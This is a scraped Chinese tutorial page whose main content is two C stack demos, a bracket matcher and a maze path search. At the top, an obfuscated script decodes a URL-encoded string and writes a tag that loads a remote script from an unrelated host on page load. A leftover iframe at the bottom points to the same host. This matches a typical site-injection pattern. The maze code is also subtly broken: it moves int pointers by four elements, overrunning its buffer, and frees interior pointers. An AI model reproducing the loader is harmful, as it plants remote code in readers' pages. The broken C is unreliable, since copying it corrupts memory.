HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
堆栈的DEMO
1)括号匹配问题
#include "stdio.h"
#include "stdlib.h"
typedef struct
{
char *base;
char *top;
int stacksize;
}sqstack;
int InitStack( sqstack *s) //创建栈
{
s->base = (char*)malloc(5*sizeof(char));
if(!s->base) return 0;
s->top = s->base;
s->stacksize=5;
return 1;
}
int push(sqstack *s, char e) // 压栈
{
if(s->top-s->base >= s->stacksize)
{
s->base = (char*)realloc(s->base,
(s->stacksize+10)*sizeof(char)); // 栈满 开辟新空间
if(!s->base) return 0;
s->top = s->base + s->stacksize;
s->stacksize = s->stacksize + 10;
}
*(s->top)=e;
s->top++;
return 1;
}
char gettop(sqstack *s) // 取栈顶元素
{
char e;
if(s->top==s->base)
return 0;
e = *(s->top-1);
return e;
}
int pop(sqstack *s) // 出栈
{
if(s->top == s->base) return 0;
s->top--;
return 1;
}
int left( char a ) //左
{
if( a=='(' || a=='[' )
return 1;
else
return 0;
}
int right( char a ) //右
{
if( a==')' || a==']' )
return 1;
else
return 0;
}
int mathing( char a , char b ) // 匹配
{
if( (a=='(' && b==')') ||
(a=='[' && b==']') )
return 1;
else
return 0;
}
int main()
{
sqstack *st = (sqstack*)malloc(sizeof(sqstack)) ;
if(!InitStack( st ))
printf("error1");
char a = getchar();
while( a!='#' )
{
if( left(a))
push(st ,a);
if( right(a))
{
if( mathing( gettop(st) ,a ))
pop( st );
else // (((]]])))
push( st ,a );
}
a = getchar();
}
if(st->top==st->base)
printf("yes");
else
printf("no");
return 1;
}
2)迷宫问题
#include "stdio.h"
#include "stdlib.h"
typedef struct
{
int *base;
int *top;
int stacksize;
}sqstack;
int InitStack( sqstack *s) //创建栈
{
s->base = (int*)malloc(50*sizeof(int));
if(!s->base) return 0;
s->top = s->base;
s->stacksize=50;
return 1;
}
int push(sqstack *s, int e) // 压栈
{
if(s->top-s->base >= (s->stacksize)*4)
{
s->base = (int*)realloc(s->base,
(s->stacksize+10)*sizeof(int));// 栈满 开辟新空间
if(!s->base) return 0;
s->top = s->base + s->stacksize*4;
s->stacksize = s->stacksize + 10;
}
*(s->top)=e;
s->top = s->top+4;
return 1;
}
int gettop(sqstack *s) // 取栈顶元素
{
int e;
if(s->top==s->base)
return 0;
e = *(s->top-4);
return e;
}
int pop(sqstack *s) // 出栈
{
if(s->top == s->base) return 0;
s->top=s->top-4;
return 1;
}
void freestack( sqstack *s) // 释放内存
{
int *temp;
while(s->top!=s->base)
{
temp = s->top - 4;
free(s->top);
s->top=temp;
}
free(s->base);
}
int main()
{
sqstack *s = (sqstack*)malloc(sizeof(sqstack));
if( !InitStack(s) )
return 0;
int up,down,left,right, // 上下左右走
nowpos, // 当前位置
rows,cols, // 行数 列数
rownum,colnum, // 行号 列号
find=0; // 判断是否找到出口
nowpos = 1;
cols = 4;
rows = 4;
int record[4*4]; // 记录走过路径和地图信息
int map[4*4] = {0,2,1,0, // 地图信息 0墙 1通道 2入口 3出口
1,1,0,0,
1,0,1,0,
1,1,3,0};
for(int i=0;i<rows*cols;i++)
record[i]=map[i];
while(!find)
{
up = nowpos - cols;
down = nowpos + cols;
left = nowpos - 1;
right = nowpos + 1; // 计算移动的坐标
rownum = nowpos/cols;
colnum = nowpos%cols; // 计算当前坐标的行号和列号
if( up>=0 && record[up] )
{
push(s,up);
record[up]=0;
record[nowpos]=0;
nowpos=up;
if(map[nowpos]==3)
find=1;
}
else if( down<=rows*cols-1 && record[down] )
{
push(s,down);
record[down]=0;
record[nowpos]=0;
nowpos=down;
if(map[nowpos]==3)
find=1;
}
else if( left>=rownum*cols && record[left] )
{
push(s,left);
record[left]=0;
record[nowpos]=0;
nowpos=left;
if(map[nowpos]==3)
find=1;
}
else if( right<=(rownum+1)*cols-1 && record[right] )
{
push(s,right);
record[right]=0;
record[nowpos]=0;
nowpos=right;
if(map[nowpos]==3)
find=1;
}
else
{
if(map[nowpos]==2 || s->top == s->base) //||//
{
printf("NO WAY OUT");
exit(-1);
}
else
{
pop(s);
nowpos = gettop(s);
}
}
} // end while
int k ;
while (s->top!=s->base ) // 输出路径
{
k = gettop(s);
pop(s);
printf("%d",k);
printf(" <-- ");
}
printf("1");
free(s); //释放
}
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">